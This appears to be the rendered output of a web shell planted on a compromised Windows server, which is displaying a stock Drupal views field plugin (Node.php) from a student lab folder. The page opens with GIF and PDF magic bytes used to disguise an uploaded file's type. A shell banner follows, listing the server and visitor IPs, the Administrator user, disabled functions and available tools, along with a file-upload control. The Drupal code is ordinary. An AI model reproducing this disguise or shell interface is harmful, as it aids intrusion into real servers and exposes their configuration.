GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/Student/JimMartinson/Lab12/drupal/core/modules/node/src/Plugin/views/field/ |
Upload File : |
<?php namespace Drupal\node\Plugin\views\field; use Drupal\Core\Form\FormStateInterface; use Drupal\Core\Url; use Drupal\views\ResultRow; use Drupal\views\ViewExecutable; use Drupal\views\Plugin\views\display\DisplayPluginBase; use Drupal\views\Plugin\views\field\FieldPluginBase; /** * Field handler to provide simple renderer that allows linking to a node. * Definition terms: * - link_to_node default: Should this field have the checkbox "link to node" enabled by default. * * @ingroup views_field_handlers * * @ViewsField("node") */ class Node extends FieldPluginBase { /** * {@inheritdoc} */ public function init(ViewExecutable $view, DisplayPluginBase $display, array &$options = NULL) { parent::init($view, $display, $options); // Don't add the additional fields to groupby if (!empty($this->options['link_to_node'])) { $this->additional_fields['nid'] = ['table' => 'node_field_data', 'field' => 'nid']; } } /** * {@inheritdoc} */ protected function defineOptions() { $options = parent::defineOptions(); $options['link_to_node'] = ['default' => isset($this->definition['link_to_node default']) ? $this->definition['link_to_node default'] : FALSE]; return $options; } /** * Provide link to node option */ public function buildOptionsForm(&$form, FormStateInterface $form_state) { $form['link_to_node'] = [ '#title' => $this->t('Link this field to the original piece of content'), '#description' => $this->t("Enable to override this field's links."), '#type' => 'checkbox', '#default_value' => !empty($this->options['link_to_node']), ]; parent::buildOptionsForm($form, $form_state); } /** * Prepares link to the node. * * @param string $data * The XSS safe string for the link text. * @param \Drupal\views\ResultRow $values * The values retrieved from a single row of a view's query result. * * @return string * Returns a string for the link text. */ protected function renderLink($data, ResultRow $values) { if (!empty($this->options['link_to_node']) && !empty($this->additional_fields['nid'])) { if ($data !== NULL && $data !== '') { $this->options['alter']['make_link'] = TRUE; $this->options['alter']['url'] = Url::fromRoute('entity.node.canonical', ['node' => $this->getValue($values, 'nid')]); if (isset($this->aliases['langcode'])) { $languages = \Drupal::languageManager()->getLanguages(); $langcode = $this->getValue($values, 'langcode'); if (isset($languages[$langcode])) { $this->options['alter']['language'] = $languages[$langcode]; } else { unset($this->options['alter']['language']); } } } else { $this->options['alter']['make_link'] = FALSE; } } return $data; } /** * {@inheritdoc} */ public function render(ResultRow $values) { $value = $this->getValue($values); return $this->renderLink($this->sanitizeValue($value), $values); } }